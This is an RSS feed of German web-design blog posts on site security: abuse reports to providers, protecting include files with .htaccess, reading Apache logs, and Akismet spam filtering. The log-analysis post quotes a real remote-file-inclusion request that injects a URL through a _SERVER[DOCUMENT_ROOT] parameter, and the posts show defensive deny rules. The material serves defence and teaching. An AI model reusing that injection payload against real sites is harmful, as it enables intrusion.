<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>toscho.design&#187; Sicherheit</title>
	<atom:link href="http://toscho.de/thema/sicherheit/feed/" rel="self" type="application/rss+xml" />
	<link>http://toscho.de</link>
	<description>Redaktion, Druck- und Webdesign aus Halle (Saale)</description>
	<lastBuildDate>Wed, 11 Aug 2010 09:20:27 +0000</lastBuildDate>
	<language>de-DE-1901</language>
	<sy:updatePeriod>daily</sy:updatePeriod>
	<sy:updateFrequency>4</sy:updateFrequency>
	
		<item>
		<title>Informieren statt Sperren</title>
		<link>http://toscho.de/2010/informieren-statt-sperren/</link>
		<comments>http://toscho.de/2010/informieren-statt-sperren/#comments</comments>
		<pubDate>Tue, 19 Jan 2010 21:43:51 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Interna]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1609</guid>
		<description><![CDATA[Wie ich vorgehe, wenn ich eine IP-Adresse nicht sperren möchte: Ich schicke eine E-Mail an den Provider … mit sehr unterschiedlichen Resultaten.]]></description>
			<content:encoded><![CDATA[<p>Wie <a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/" title=".htaccess: Angriffe sehen und blockieren">schon beschrieben</a>, blockiere ich IP-Adressen, von denen aus versucht wird, eine von mir betreute Website zu hacken. Meistens.</p>
<p>IP-Adressen aus Deutschland jedoch handhabe ich etwas vorsichtiger. Schließlich könnte später ein regulärer Besucher diese Adresse zugewiesen bekommen.</p>
<p>Ich sehe deshalb bei <a href="http://ip-lookup.net/">ip-lookup.net</a> erst nach, ob der Provider eine Beschwerde-Adresse angegeben hat, und dann schicke ich eine E-Mail. Die sieht so aus:</p>
<blockquote><p>Hallo,</p>
<p>eben (<var>$time</var>) hat jemand von Ihrer IP-Adresse aus versucht, sich in meine Website einzuhacken:</p>
<p><var>$request</var></p>
<p>Bevor ich mich an eine andere Stelle wende, möchte Sie zuerst darauf hinweisen. Bitte unterrichten Sie mich über Ihr Vorgehen.</p>
<p>Mit freundlichen Grüßen<br />
Thomas Scholz</p></blockquote>
<p>Da bekomme ich in etwa 50% aller Fälle eine Rückmeldung, manchmal dauert das leider recht lange. Den Rekord hat am Sonntag <a href="http://all-inkl.com/" class="notranslate">all-inkl.com</a> gerissen: Schon 30 Minuten nach meiner E-Mail kam diese Antwort.</p>
<blockquote><p>Hallo Herr Scholz,<br />
danke für den Hinweis.</p>
<p>Wir haben den betreffenden User soeben gesperrt.</p></blockquote>
<p>Und darunter ein Link auf eine Website, wo man die Antwort bewerten konnte. Vorbildlich.</p>
<p>Am Montag dann das Gegenteil: Von einer Adresse, die <code class="notranslate">evertz.de</code> zugeordnet wird, kam 3:30 Uhr ein Angriff, vier Minuten später ging meine E-Mail ’raus. Und 18:00 Uhr kam … noch ein Angriff. Aber keine E-Mail bis heute.</p>
<p>Über den Sinn der IP-Sperren hatten wir hier schon <a href="http://toscho.de/2009/php-funktion-sanitize-ip/">lange Debatten</a>.<br />
Heute interessiert mich: Welche Erfahrungen habt ihr mit Mißbrauchsmails gemacht? Haltet ihr das für Zeitverschwendung? Oder handhabt ihr das ganz anders?</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/informieren-statt-sperren/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Zugriff verboten: Wie man Skripte gegen HTTP-Aufrufe sperrt</title>
		<link>http://toscho.de/2010/skripte-gegen-http-aufrufe-sperren/</link>
		<comments>http://toscho.de/2010/skripte-gegen-http-aufrufe-sperren/#comments</comments>
		<pubDate>Sat, 09 Jan 2010 22:35:18 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1582</guid>
		<description><![CDATA[Wie man den Zugriff per HTTP auf ausgewählte Dateien verbietet.]]></description>
			<content:encoded><![CDATA[<!--TOC-->
<p>Manche Dateien möchten wir nur in andere <em>einbinden:</em> Konfigurationsdateien, Klassen oder Ähnliches. Sie sollen nie per HTTP aufgerufen werden, weil sie sensible Daten enthalten oder allein kein nützliches Ergebnis hervorbringen.<br />
Dafür gibt es vier Wege.</p>
<h2>Außerhalb des Wurzelverzeichnisses lagern</h2>
<p>Einige Webhoster bieten einen FTP-Zugang an, bei dem wir oberhalb des Webverzeichnisses einsteigen. Sehr praktisch: Wir legen dort einfach ein Verzeichnis für die einzubindenden Dateien an und rufen sie dann ungefähr so auf:</p>
<pre class="notranslate">require_once
    dirname(<var>$_SERVER</var>['<code class="string">DOCUMENT_ROOT</code>'])
    . DIRECTORY_SEPARATOR
    . '<code class="string">includes</code>'
    . DIRECTORY_SEPARATOR
    . '<code class="string">config.php</code>';</pre>
<h2>Geschütztes Verzeichnis unterhalb der Wurzel</h2>
<p>Wenn wir keinen Zugriff oberhalb des Wurzelverzeichnisses haben, dann legen wir eben eines darunter an und schützen es. Da bieten sich zwei Varianten an, die beide per .htaccess erzeugt werden.</p>
<p>Umleitung aus der generellen .htaccess:</p>
<pre class="notranslate">Redirect permanent /includes/ http://localhost</pre>
<p>Oder wir legen eine .htaccess in das geschützte Verzeichnis selbst und schreiben dort hinein:</p>
<pre class="notranslate">Order allow,deny
Deny from all</pre>
<p>Das Einbinden aus dem PHP-Skript sieht fast genauso aus:</p>
<pre class="notranslate">require_once
    <var>$_SERVER</var>['<code class="string">DOCUMENT_ROOT</code>']
    . DIRECTORY_SEPARATOR
    . '<code class="string">includes</code>'
    . DIRECTORY_SEPARATOR
    . '<code class="string">config.php</code>';</pre>
<h2>Bestimmte Endungen verbieten</h2>
<p>Bei komplexeren Skripten möchten wir natürlich alle Dateien hübsch ordentlich in Verzeichnissen ablegen, deren Ordnung nicht vorrangig von der Zugriffskontrolle geprägt ist.</p>
<p>Hier benutze ich gerne die Endung <samp>inc</samp> für <i lang="en">Includes</i>. Angenehmer Nebeneffekt: Ich weiß schon beim Blick auf die Verzeichnisliste, welche Dateien wie aufgerufen werden sollen.</p>
<p>Vier Zeilen in der .htaccess verbieten den Zugriff auf alle Includes:</p>
<pre class="notranslate">&lt;Files *.inc&gt;
    order allow,deny
    deny from all
&lt;/Files&gt;</pre>
<h2>Kontrolle innerhalb der Datei</h2>
<p>Das ist die scheußlichste Methode, weil man von außen nicht sieht, ob die Datei geschützt ist. Und leider ist es auch die häufigste.</p>
<p>Am Kopf der Datei steht eine … freiwillige Selbstkontrolle:</p>
<pre class="notranslate">if ( '<code class="string">geheim.php</code>' == basename(<var>$_SERVER</var>['<code class="string">SCRIPT_FILENAME</code>']) )
{
	die('<code class="string">Bitte nicht direkt aufrufen!</code>');
}</pre>
<p>Immerhin funktioniert sie – wie die erste Methode – auch dann, wenn der Anwender keinen Zugriff auf die .htaccess hat.</p>
<h2>Dateirechte anpassen</h2>
<p><img src="http://toscho.de/wp-content/uploads/2010/01/filezilla-chmod-640.png" alt="Filezilla: chmod 640" title="Filezilla: chmod 640" width="305" height="335" class="alignright size-full wp-image-1586" />Schließlich können wir noch per FTP oder SSH den entsprechenden Dateien die Leserechte für anonyme Nutzer entziehen. Das funktioniert immer, und wir sehen es bei der Auflistung der einzelnen Verzeichnisse.</p>
<p>Dank an <a href="http://www.online-praesenz-beratung.de/">Alexander Schestag</a> für diesen Nachtrag.</p>
<h2 style="clear:right">Verwandte Artikel</h2>
<ul>
<li><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">.htaccess: Angriffe sehen und blockieren</a></li>
<li><a href="http://toscho.de/2009/authentifizierung-php-utf-8/">Authentifizierung mit PHP und UTF-8</a></li>
<li><a href="http://toscho.de/2009/blocken-mit-htaccess/">Ungebetene Gäste mit .htaccess blocken</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/skripte-gegen-http-aufrufe-sperren/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Logfiles analysieren</title>
		<link>http://toscho.de/2010/logfiles-analysieren/</link>
		<comments>http://toscho.de/2010/logfiles-analysieren/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 14:14:24 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1573</guid>
		<description><![CDATA[Wie man ein Apache-Logfile liest und interpretiert.]]></description>
			<content:encoded><![CDATA[<!--TOC-->
<p>Mindestens einmal pro Monat grabe ich mich durch die Logfiles jeder von mir betreuten Website. Ein Statistikprogramm wie <a href="http://toscho.de/2009/piwik-ueberblick-installation/">Piwik</a> sieht zwar deutlich hübscher aus; es erfaßt aber nur einen kleinen Teil der Zugriffe. Anfragen an Newsfeeds, Stylesheets, Bilder und Skripte entgehen ihm meistens.</p>
<h2>Grundlagen</h2>
<p>Ein gewöhnlicher Eintrag im Accesslog sieht (nach manuellem Umbruch) so aus:</p>
<pre class="notranslate">msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:10 +0100]
"<code class="string">GET /2009/ HTTP/1.1</code>"
200
4303
"-"
"msnbot/2.0b (+<a href="http://search.msn.com/msnbot.htm">http://search.msn.com/msnbot.htm</a>)"</pre>
<h3>Logformat</h3>
<p>Das entspricht dem <a href="http://httpd.apache.org/docs/trunk/mod/mod_log_config.html#logformat" hreflang="en">Logformat</a>:</p>
<pre class="notranslate">%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"</pre>
<p>… und kann übersetzt werden als</p>
<table>
<thead>
<tr>
<th scope="col">Kürzel</th>
<th scope="col">Beschreibung</th>
<th scope="col">aktueller Wert</th>
</tr>
</thead>
<tbody>
<tr>
<td>%h</td>
<td>Hostname</td>
<td>msnbot-65-55-106-204.search.msn.com</td>
</tr>
<tr>
<td>%l</td>
<td lang="en">Remote logname</td>
<td>(leer)</td>
</tr>
<tr>
<td>%u</td>
<td lang="en">Remote user</td>
<td>(leer)</td>
</tr>
<tr>
<td>%t</td>
<td>Zeitpunkt</td>
<td>01/Jan/2010:01:03:10 +0100</td>
</tr>
<tr>
<td>%r</td>
<td><i lang="en">Request</i> (erste Zeile)</td>
<td>GET /2009/ HTTP/1.1</td>
</tr>
<tr>
<td>%>s</td>
<td>Status (<em>nach</em> internem <i lang="en">Rewrite</i>)</td>
<td>200</td>
</tr>
<tr>
<td>%b</td>
<td>Übertragene <i lang="en">Bytes</i> (<em>ohne</em> <i lang="en">Response-Header</i>)</td>
<td>4303</td>
</tr>
<tr>
<td>%{Referer}i</td>
<td>Herkunft (URI)</td>
<td>(leer)</td>
</tr>
<tr>
<td>%{User-Agent}i</td>
<td>Software (Browser, Crawler)</td>
<td>msnbot/2.0b (+http://search.msn.com/msnbot.htm)</td>
</tr>
</tbody>
</table>
<h3>Hostname oder IP-Adresse</h3>
<p>Wenn der Server keinen Hostnamen findet oder anders konfiguriert worden ist, steht an erster Stelle die IP-Adresse. Ob man die nach deutschem Recht speichern darf, wird immer noch <a href="http://www.selbstaendig-im-netz.de/2009/12/22/suchmaschinen/die-ip-adresse-google-und-der-datenschutz/">heftig umstritten</a>.</p>
<h3>Remote logname</h3>
<p>Der <i lang="en">Remote logname</i> wird nur befüllt, wenn <a href="http://httpd.apache.org/docs/trunk/mod/mod_ident.html" hreflang="en">mod_ident</a> aktiviert wurde und <i lang="en">IdentityCheck</i> auf <i lang="en">On</i> steht.</p>
<h3>Remote user</h3>
<p>Der <i lang="en">Remote user</i> wird befüllt, wenn man sich per <a lang="en" href="http://toscho.de/2009/authentifizierung-php-utf-8/">Basic Authentication</a> angemeldet hat.</p>
<p>Die beiden letztgenannten Einträge müssen natürlich auch als »personenbezogene Daten« gelten. Eine (zumindest langfristige) Speicherung dürfte sehr heikel werden.</p>
<h3>Request</h3>
<p>Der <i lang="en">Request</i> wird endlich richtig interessant.</p>
<h4>Methode</h4>
<p>Vorne steht die Methode: GET, POST oder HEAD. Die <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html" hreflang="en">anderen Methoden</a> <a href="http://toscho.de/2009/blocken-mit-htaccess/">verbiete ich</a> normalerweise:</p>
<pre class="notranslate">&lt;<a href="http://httpd.apache.org/docs/2.3/mod/core.html#limitexcept">LimitExcept</a> HEAD GET POST&gt;
order deny,allow
deny from all
&lt;/LimitExcept&gt;</pre>
<h4>Adresse</h4>
<p>Dann folgt die angesprochene Adresse, hier <code>/2009/</code>. Darauf kommen wir gleich nochmal. </p>
<h4>Protokoll</h4>
<p>Und darauf wiederum folgt das Protokoll, hier <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" hreflang="en">HTTP/1.1</a>. Das ist spannender, als es aussieht: In <a hreflang="en" href="http://www.w3.org/Protocols/rfc1945/rfc1945">HTTP/1.0</a> gibt es nämlich keine Vary-Header. Den brauche ich aber für alle Ressourcen, die ich per <a hreflang="en" href="http://www.gzip.org/">gzip</a> komprimiere, damit der Empfänger weiß, daß ich mindestens zwei Varianten vorhalte: die komprimierte und die unkomprimierte.<br />
<a href="http://github.com/toscho/PHP-HTTP-Tools/blob/master/class.HTTP_Response.php#L302">Ich sende</a> also bei HTTP/1.1 den Header:</p>
<pre class="notranslate">Vary: Accept-Encoding</pre>
<p>Sehen wir uns den Request an, der dem hier genannten fünf Sekunden später folgt:</p>
<pre class="notranslate">msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:15 +0100]
"<code class="string">GET /2009/ <strong>HTTP/1.0</strong></code>"
200
<strong>18124</strong>
"-"
"<code class="string">msnbot/2.0b (+http://search.msn.com/msnbot.htm)</code>"</pre>
<p>Der MSN-Bot holt sich auch die nicht komprimierte Variante. Warum? Weiß der Geier …<br />
Der Internet Explorer benutzt HTTP/1.0, wenn er hinter einem Proxyserver sitzt. Vielleicht will der MSN-Bot herausfinden, ob er die Seite auch dann noch als Suchergebnis präsentieren darf.</p>
<p>Der Yahoo-Bot kann übrigens <em>überhaupt kein</em> HTTP/1.1. Es ist ja auch erst vom Juni 1999.</p>
<h3>Statuscode</h3>
<p>Nach dem Request kommt der <a hreflang="en" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1.1">Statuscode</a>. Die wichtigsten:</p>
<table>
<thead>
<tr>
<th scope="col">Code</th>
<th scope="col">Bedeutung</th>
</tr>
</thead>
<tbody>
<tr>
<td>200</td>
<td>Ok. Inhalt gefunden und ausgeliefert. Der häufigste Eintrag.</td>
</tr>
<tr>
<td>301</td>
<td>Umleitung. Der Inhalt ist fortan unter einer neuen Adresse zu finden. Sehr wichtig, wenn man beispielsweise den Präfix <samp>www</samp> aus dem Domainnamen entfernt.</td>
</tr>
<tr>
<td>302</td>
<td>Noch eine Umleitung. Ob die neue Adresse Bestand hat, weiß der Server aber nicht, weil der Webmaster gepennt hat.</td>
</tr>
<tr>
<td>304</td>
<td>Nicht geändert. Wenn der User-Agent die Ressource schon im Cache liegen hat und nachfragt, ob er sie aktualisieren soll, sieht der Server nach und sendet 304, wenn alles noch stimmt. Dieser Statuscode sagt uns normalerweise, daß wir alles richtig gemacht haben. Wenn wir Ressourcen ohne Not mehrfach ausliefern, haben wir ein Cachingproblem.</td>
</tr>
<tr>
<td>307</td>
<td>Umleitung. <em>Ganz gewiß</em> nur temporär.</td>
</tr>
<tr>
<td>401</td>
<td>Anmeldung fehlgeschlagen. Beispielsweise beim Passwortschutz per .htaccess: Jemand gibt falsche oder gar keine Daten ein – und wird dann mit 401 versorgt. Damit er Bescheid weiß.</td>
</tr>
<tr>
<td>403</td>
<td>Verboten. Der normale Statuscode, den beispielsweise die Direktive <samp lang="en"><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">deny from</a></samp> erzeugt. Zu Deutsch: Geh weg, du darfst hier nicht hinein.</td>
</tr>
<tr>
<td>404</td>
<td>Nicht gefunden. Der häufigste Fehler. Um den müssen wir uns kümmern.</td>
</tr>
<tr>
<td>410</td>
<td>Weg. Die Adresse gab’s zwar mal, aber jetzt wurde sie ersatzlos gestrichen. Wenn wir doch einen Ersatz haben, dann ist 301 der passende Statuscode.</td>
</tr>
<tr>
<td>500</td>
<td>Interner Serverfehler. <strong>Drama!</strong> Kann durch eine falsche Konfiguration (.htaccess oder httpd.conf) zustandekommen aber auch durch fehlerhafte Skripte.</td>
</tr>
</tbody>
</table>
<h3>Größe</h3>
<p>Dem Statuscode folgt die <strong>Menge der übertragenen Bytes</strong> ohne Response-Header. Wie man an den beiden MSN-Beispielen sieht, besteht zwischen komprimierten und nicht komprimierten Ressourcen ein erheblicher Unterschied.<br />
Beim Statuscode <strong>304</strong> sollte die Menge 0 betragen, sonst hat etwas nicht geklappt.<br />
Und eine Ressource sollte möglichst immer dieselbe Menge ausliefern, wenn sie sich nicht geändert hat. Der WordPress-Feed erfüllt diese Bedingung leider nicht immer; das wollte ich schon längst mal untersuchen … </p>
<h3>Referer</h3>
<p>Der nächste Eintrag (beim MSN-Bot immer leer) ist der <strong lang="en">Referer</strong>. Eigentlich heißt das englische Wort ja <i lang="en">Referrer</i>, aber vor vielen Jahren hat sich mal jemand beim Schreiben der Spezifikation vertippt, und seitdem fehlt das eine »r«. Da sieht man wieder, warum Korrekturlesen so wichtig ist.</p>
<p><em>Normalerweise</em> steht im <i lang="en">Referer</i> die URI, von der aus auf die aktuelle Ressource zugegriffen wurde. Oft ist er aber auch leer, oder es steht Spam darin (sogenannter »<a href="http://notizen.joergkrusesweb.de/n-2004-10/referer-spam.html">Referer-Spam</a>«). Manchmal auch <strong>feindlicher Code</strong>. Deshalb sollte dieser Wert nie ungeprüft in Skripten verwendet werden, und für eine Linkliste ohne Vorkontrolle eignet er sich ebenfalls nicht.</p>
<p>Beim Statuscode <strong>404</strong> kann er uns zuweilen verraten, ob jemand einen kaputten Link gesetzt hat. Da ist der Wert tatsächlich hilfreich.</p>
<h3>User-Agent</h3>
<p>Hier gelten die gleichen Sicherheitsregeln wie beim Referer. Ich benutze das Feld vorrangig, um <a href="http://toscho.de/2009/blocken-mit-htaccess/">Störenfriede loszuwerden</a>. Generell ist es so glaubwürdig wie ein 3-Euro-Schein.</p>
<h2>Suchmuster</h2>
<p>Wonach suchen wir eigentlich? Nach allem, was ungewöhnlich oder ungewollt aussieht.</p>
<p>Ungewollt sind Fehler: Alle Anfragen, die mit einem 400er oder gar 500er Code beantwortet wurden, verdienen unsere erste Aufmerksamkeit.</p>
<h3>400er</h3>
<p>In einem Texteditor unserer Wahl suchen wir nach dem regulären Ausdruck <code>" 4\d\d </code> (ein Leerzeichen rechts). Damit finden wir alle 400er Statuscodes. </p>
<p>Die meisten angeforderten Adressen in dieser Zeile enthalten Parameter, über die jemand fremden Code einschleusen möchte:</p>
<pre class="notranslate">web.weborange.hu
- -
[01/Jan/2010:01:32:51 +0100]
"GET /2009/authentifizierung-php-utf-8/%252520%252520/<strong>?_SERVER%255bDOCUMENT_ROOT%255d=http:/example.com/member/one.txt%253f%253f%253f</strong> HTTP/1.1"
404
995
"-"
"Mozilla/5.0"</pre>
<p>Hier sieht man zweierlei: Der Angriff richtet sich gegen schlampig programmierte PHP-Skripte, und mein <a href="http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/">Doppelslashkiller</a> hat die einzuschleusende URL entschärft. Selbst wenn ich also ein unsicheres Skript vorhielte, brächte der Angriff nichts, weil <samp>http:/example.com</samp> keine URL ist, mit der PHP oder eine andere Sprache etwas anfangen kann.<br />
Ein paar Einträge über diesem steht der ursprüngliche Versuch mit den Doppelslashes und dem Statuscode 301. Den hat aber die .htaccess abgefangen und umgeleitet, ehe ihn auch nur ein Skript zu Gesicht bekommen konnte.</p>
<p>Ein weiterer Eintrag sieht so aus:</p>
<pre class="notranslate">static.<i>[anonymisiert]</i>.clients.your-server.de
- -
[01/Jan/2010:16:49:56 +0100]
"GET /p1563/ HTTP/1.1"
404
995
"-"
"Mozilla/5.0 (compatible; <strong>Rivva</strong>; http://rivva.de)"</pre>
<p>Ich hatte ein paar Minuten zuvor bei Twitter einen <em>ähnlichen</em> Link <a href="http://twitter.com/toscho/status/7271735673">gepostet</a>:</p>
<blockquote><p>Willkommen im alten Jahrzehnt: http://toscho.de/p1563 #gebloggt</p></blockquote>
<p>Ähnlich! Der Rivva-Bot hat einen Slash angebaut und dann die falsche Adresse aufgerufen. Spannend wird jetzt die weitere Suche nach dem Rivva-Bot im Logfile: Kommt er nochmal, um die korrekte Adresse zu holen? Nein, tut er nicht.</p>
<p>So etwas verrät mir kein Statistikprogramm. </p>
<p>Ich habe darauf doppelt reagiert: Ich habe Rivva per Twitter Bescheid gegeben – und zwar keine Antwort bekommen, aber der Tweet wurde immerhin »<a href="http://favstar.fm/users/toscho/status/7296260274">gefavt</a>«. Das ist vermutlich eine sehr subtile Methode, mir zu sagen: »Wir wissen jetzt davon und kümmern uns darum.«<br />
Außerdem habe ich in die .htaccess eine Weiterleitung für genau diese und ähnlich kaputte Anfragen eingebaut:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/\%3fp\=(\d+)$ [OR]
RewriteCond %{REQUEST_URI} ^/p\=?(\d+)/?$
RewriteRule ^.* http://toscho.de/?p=%1 [L,R=301]</pre>
<p>Und dann gibt es manchmal noch die 404er, die nicht wie Angriffe aussehen und unsere eigene Domain im Referer zeigen. Da haben wir vielleicht einen falschen Link gesetzt oder einen Fehler im Markup oder im Stylesheet. Logische Reaktion: Reparatur, Kontrolle, ein Schluck Kaffee.</p>
<h3>500er</h3>
<p>Regex: <code>" 5\d\d </code> (ein Leerzeichen rechts). </p>
<p>Wenn der Server aufgrund eines Fehlers in der .htaccess nicht mitspielt, sehen wir das sofort. Dazu reicht ein vergeblicher Aufruf der Website.</p>
<p>Anders sieht es mit <em>gelegentlichen</em> Ausfällen aus: Ein Skript mag unter ganz bestimmten Umständen PHP abstürzen lassen, oder der Server aus irgendeinem Grund manchmal überlastet sein. Wer sich einen Server mit anderen Websites teilt (<i lang="en">Shared Hosting</i>), kann davon auch betroffen werden, ohne die Ursache in die Hand zu bekommen.<br />
Hierfür müssen wir ein zweites Logfile ansehen: Das <a href="http://httpd.apache.org/docs/2.3/en/logs.html#errorlog">Errorlog</a>. Das ist so ähnlich aufgebaut wie das Accesslog, und darin steht, was genau passiert ist. Zumindest der Webhoster hat eins.</p>
<h3>Massenabfragen</h3>
<p>Manchmal sieht die einzelne Abfrage technisch ganz korrekt aus, aber der Blick aufs Ganze löst dann doch einen Würgereiz aus. So hatte ich unzählige Requests von einem <samp>Java/1.6.0_11</samp> (die letzten Zahlen variieren). Diese Crawler haben gerne <em>alle</em> Feeds für <em>alle</em> Artikel und Kategorien abgeholt – 20 Mal pro Stunde.<br />
Antwort:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !/greedy\.html
RewriteCond %{HTTP_USER_AGENT} ^Java/1\.\d [NC]
RewriteRule ^ /greedy.html [L,R=301]</pre>
<p>Ebenfalls bedrückend aber derzeit nicht zu ändern: Kaum ein Crawler hält sich an die <a href="http://bueltge.de/syndication-frequenz-wordpress-optimieren/1054/">Vorgaben zur Aktualisierung des Newsfeeds</a>. Wer freilich zu gierig wird, wird <a href="http://toscho.de/2009/spinner-und-sauger/">hinweggebeten</a>. Man muß sich ja nicht alles gefallen lassen, und das Ziel sollte doch eine schnelle Website für richtige Besucher bleiben. Deshalb verteile ich meine begrenzten Ressourcen lieber effizient.</p>
<p>Einige Feed-Crawler verraten im User-Agent, wieviele Leute den Feed lesen: </p>
<pre class="notranslate">38.99.68.203
- -
[01/Jan/2010:19:45:18 +0100]
"GET /feed/ HTTP/1.1"
200
16543
"-"
"Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot; <strong>16 subscribers</strong>; feed-id=3418198305143441017)"</pre>
<p>Das finde ich sehr freundlich. Logfiles können also auch Spaß machen.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/logfiles-analysieren/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Spam verhindern mit Akismet und .htaccess</title>
		<link>http://toscho.de/2010/spam-verhindern-akismet-htaccess/</link>
		<comments>http://toscho.de/2010/spam-verhindern-akismet-htaccess/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 11:52:09 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Interna]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1568</guid>
		<description><![CDATA[Wie ich derzeit gegen Spam vorgehe: Mit Akismet und einer Blockliste in der .htaccess.]]></description>
			<content:encoded><![CDATA[<!--TOC-->
<p>Hier im Blog kommen auf jeden echten Kommentar drei Spamversuche. Im Rahmen einer <a href="http://twitter.com/toscho/status/7345545502">Twitterinitiative</a> will ich hier mal meine Mittel dagegen vorstellen: Akismet und eine Blacklist in der .htaccess. </p>
<div id="attachment_1571" class="wp-caption alignnone" style="width: 510px"><img src="http://toscho.de/wp-content/uploads/2010/01/freezelight-spam.jpg" alt="Spammauer" width="500" height="374" class="size-full wp-image-1571" /><p class="wp-caption-text">Foto: <a href='http://www.flickr.com/photos/63056612@N00/155554663/'>Spam wall</a> von <a href='http://www.flickr.com/photos/63056612@N00/'>freezelight</a></p></div>
<h2>Akismet</h2>
<p>Dieses Plugin kommt automatisch mit WordPress und gehört neben dem <a hreflang="en" href="http://digwp.com/2009/10/poll-results-goodbye-dolly/">unbeliebten »Hello Dolly«</a> zu den ersten <i lang="en">Core-Plugins</i>.</p>
<p>Es sendet die Daten eines Kommentars an einen zentralen Server, der sie auf Übereinstimmungen mit anderen als Spam markierten Kommentaren prüft. Wurde jemand in einem Blog als Spammer gekennzeichnet, so landen seine Kommentare in allen anderen Blogs, die Akismet verwenden, sofort im Spamverzeichnis. Akismet lernt also; das ist die große Stärke des System.</p>
<h3>Installation</h3>
<p>Wer WordPress installiert, hat Akismet automatisch an Bord. Mehr muß man nicht basteln; das Theme oder andere Dateien kommen ohne Änderung aus.<br />
Allerdings muß man sich einen <a hreflang="en" href="http://en.wordpress.com/api-keys/">API-Key auf wordpress.com</a> besorgen – für jedes Blog mit einer anderen E-Mail-Adresse.<br />
Tip: In Google-Mail-Adressen können Punkte an beliebiger Stelle eingestreut werden; Akismet wird jede Variante als eigene Adresse betrachten, und man verbrennt nur <em>eine</em>.</p>
<h3>Anwendung</h3>
<p>Wie schon beschrieben: Die Daten werden an Dritte gesendet. Wer dem deutschen Recht unterliegt, sollte also über dem Kommentarfeld einen Link auf seine <a href="http://toscho.de/kontakt/datenschutz/">Datenschutzerklärung</a> setzen, in der er klar auf diesen Vorgang hinweist.<br />
Wer nicht per Gesetz dazu verpflichtet ist, möge das bitte als freundliche Geste auch tun.</p>
<p>Akismet funktioniert rein serverseitig und kann daher als sehr zugänglich bezeichnet werden. Javascript, CSS oder gar das Laden von Bildern sind nicht nötig.<br />
Außerdem funktioniert es ohne Pflichtfelder. Hier darf jeder anonym schreiben, und das möchte ich auch beibehalten.</p>
<h3>Präzision</h3>
<p>Bei automatisiertem Spam funktioniert Akismet hier zu 100%. »Handarbeit« rutscht manchmal durch. Allerdings habe ich bei Weitem nirgends so viel Spam wie <a href="http://bueltge.de/wp-js-antispam-plugin/418/">beispielsweise Frank</a>; meine Erfahrung kann also nicht gut übertragen werden.</p>
<p>Manchmal erwischt Akismet auch richtige Kommentare, wenn deren Autor andernorts als Spam markiert wurde. Dieses »Lernergebnis« kann man jedoch wieder aufheben, so entsteht kein langfristiger Schaden.</p>
<h3>Nachteile</h3>
<p>Wenn Akismet einen Kommentar als Spam kennzeichnet, erhalte ich <strong>keine E-Mail</strong>. Ich muß also jeden Tag mindestens einmal in die Liste sehen, um eventuell falsch erkannte herauszufischen. Bei <em>einem</em> Blog stört das nicht, ich betreue aber ein paar mehr. Da bleibt da schon einmal ein Kommentar etwas länger in der Warteschleife. Schade.</p>
<p><img src="http://toscho.de/wp-content/uploads/2010/01/akismet-menu.png" alt="Akismetmenu" title="Akismetmenu" width="174" height="162" class="border alignright size-full wp-image-1570" />Das Menu hängt sich als Unterpunkt zum <i lang="en">Dashboard</i> ein, nicht unterhalb der Kommentare, wo es hingehört. Das provoziert WordPress dazu, auch einen Untereintrag <i lang="en">Dashboard</i> danebenzustellen. Lästig.</p>
<p>Akismet gehört zu <a hreflang="en" href="http://automattic.com/">Automattic</a>, der treibenden Kraft hinter WordPress – und Gravatar, PollDaddy, IntenseDebate und bbPress. Dort laufen also viele Nutzerdaten zusammen. Für mich ist dies der Hauptgrund, mich nach Ersatz umzusehen.</p>
<h2>.htaccess</h2>
